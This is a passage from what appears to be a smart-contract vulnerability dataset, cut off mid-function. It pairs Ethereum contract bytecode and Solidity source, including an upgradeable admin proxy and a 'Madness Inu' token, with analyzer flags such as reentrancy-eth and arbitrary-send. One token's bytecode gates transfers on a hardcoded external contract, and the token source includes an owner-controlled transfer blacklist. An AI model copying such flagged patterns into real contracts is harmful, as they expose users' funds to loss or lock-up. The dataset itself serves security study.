01b8152600401602060405180830381865afa1580156104da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fe9190611713565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610560573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105849190611713565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f59190611713565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106258161080b565b60008061063a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106c79190611730565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a919061175e565b50565b6009546001600160a01b0316331461077457600080fd5b600061077f3061080b565b905061075a81610e0b565b6009546001600160a01b031633146107a157600080fd5b600c54600160a01b900460ff166107fa5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610452565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461035590610f85565b6000546001600160a01b031633146108875760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610452565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b031633146108e857600080fd5b600981106108f557600080fd5b600855565b6000610351338484610a95565b6009546001600160a01b0316331461091e57600080fd5b4761075a81611002565b600061096a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611040565b9392505050565b6001600160a01b0383166109d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610452565b6001600160a01b038216610a345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610452565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610af95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610452565b6001600160a01b038216610b5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610452565b60008111610bbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c309190611780565b600c546001600160a01b038481169116148015610c5b5750600b546001600160a01b03858116911614155b610c66576000610c68565b815b1115610c7357600080fd5b6000546001600160a01b03848116911614801590610c9f57506000546001600160a01b03838116911614155b15610dc157600c546001600160a01b038481169116148015610ccf5750600b546001600160a01b03838116911614155b8015610cf457506001600160a01b03821660009081526004602052604090205460ff16155b15610d4a57600a548110610d4a5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610452565b6000610d553061080b565b600c54909150600160a81b900460ff16158015610d805750600c546001600160a01b03858116911614155b8015610d955750600c54600160b01b900460ff165b15610dbf57610da381610e0b565b47670de0b6b3a7640000811115610dbd57610dbd47611002565b505b505b610dcc83838361106e565b505050565b60008184841115610df55760405162461bcd60e51b815260040161045291906114a5565b506000610e028486611799565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5357610e536117b0565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610eac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed09190611713565b81600181518110610ee357610ee36117b0565b6001600160a01b039283166020918202929092010152600b54610f099130911684610971565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f429085906000908690309042906004016117c6565b600060405180830381600087803b158015610f5c57600080fd5b505af1158015610f70573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610fec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610452565b6000610ff6611079565b905061096a8382610928565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561103c573d6000803e3d6000fd5b5050565b600081836110615760405162461bcd60e51b815260040161045291906114a5565b506000610e028486611837565b610dcc83838361109c565b6000806000611086611193565b90925090506110958282610928565b9250505090565b6000806000806000806110ae87611215565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110e09087611272565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461110f90866112b4565b6001600160a01b03891660009081526002602052604090205561113181611313565b61113b848361135d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161118091815260200190565b60405180910390a3505050505050505050565b6005546000908190816111a86006600a6116e5565b6111b6906305f5e1006116f4565b90506111de6111c76006600a6116e5565b6111d5906305f5e1006116f4565b60055490610928565b82101561120c576005546111f46006600a6116e5565b611202906305f5e1006116f4565b9350935050509091565b90939092509050565b60008060008060008060008060006112328a600754600854611381565b9250925092506000611242611079565b905060008060006112558e8787876113d6565b919e509c509a509598509396509194505050505091939550919395565b600061096a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dd1565b6000806112c18385611859565b90508381101561096a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b600061131d611079565b9050600061132b8383611426565b3060009081526002602052604090205490915061134890826112b4565b30600090815260026020526040902055505050565b60055461136a9083611272565b60055560065461137a90826112b4565b6006555050565b600080808061139b60646113958989611426565b90610928565b905060006113ae60646113958a89611426565b905060006113c6826113c08b86611272565b90611272565b9992985090965090945050505050565b60008080806113e58886611426565b905060006113f38887611426565b905060006114018888611426565b90506000611413826113c08686611272565b939b939a50919850919650505050505050565b60008261143557506000610355565b600061144183856116f4565b90508261144e8583611837565b1461096a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b600060208083528351808285015260005b818110156114d2578581018301518582016040015282016114b6565b818111156114e4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075a57600080fd5b6000806040838503121561152257600080fd5b823561152d816114fa565b946020939093013593505050565b60008060006060848603121561155057600080fd5b833561155b816114fa565b9250602084013561156b816114fa565b929592945050506040919091013590565b60006020828403121561158e57600080fd5b813561096a816114fa565b6000602082840312156115ab57600080fd5b5035919050565b600080604083850312156115c557600080fd5b82356115d0816114fa565b915060208301356115e0816114fa565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561163c578160001904821115611622576116226115eb565b8085161561162f57918102915b93841c9390800290611606565b509250929050565b60008261165357506001610355565b8161166057506000610355565b816001811461167657600281146116805761169c565b6001915050610355565b60ff841115611691576116916115eb565b50506001821b610355565b5060208310610133831016604e8410600b84101617156116bf575081810a610355565b6116c98383611601565b80600019048211156116dd576116dd6115eb565b029392505050565b600061096a60ff841683611644565b600081600019048311821515161561170e5761170e6115eb565b500290565b60006020828403121561172557600080fd5b815161096a816114fa565b60008060006060848603121561174557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561177057600080fd5b8151801515811461096a57600080fd5b60006020828403121561179257600080fd5b5051919050565b6000828210156117ab576117ab6115eb565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118165784516001600160a01b0316835293830193918301916001016117f1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261185457634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561186c5761186c6115eb565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f07edc3047f63b497f221e14f5ce419d15c865637d6cc0da1c726db5796614df64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,502 |
0x3D8b8D4aD81Acf56e44DDEE068930d8860b4eF71 | /**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: Proxy
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// Part: UpgradeabilityProxy
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220426b896a154947b9c52cbd5ec6722bc95c3af1dda6691456051888881781594864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,503 |
0xe72aa9a8a44cf52de6ab55bc32c704ea8cadf90b | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MadnessInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Madness Inu";
string private constant _symbol = "MadInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2; // 2% Redistribution
uint256 private _teamFee = 10; // 6% Bracket and 4% Marketing
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _Buyback;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketfund, address payable developer, address payable buyback) {
_Marketingfund = marketfund;
_Deployer = developer;
_Buyback = buyback;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_Buyback] = true;
_isExcludedFromFee[_Deployer] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
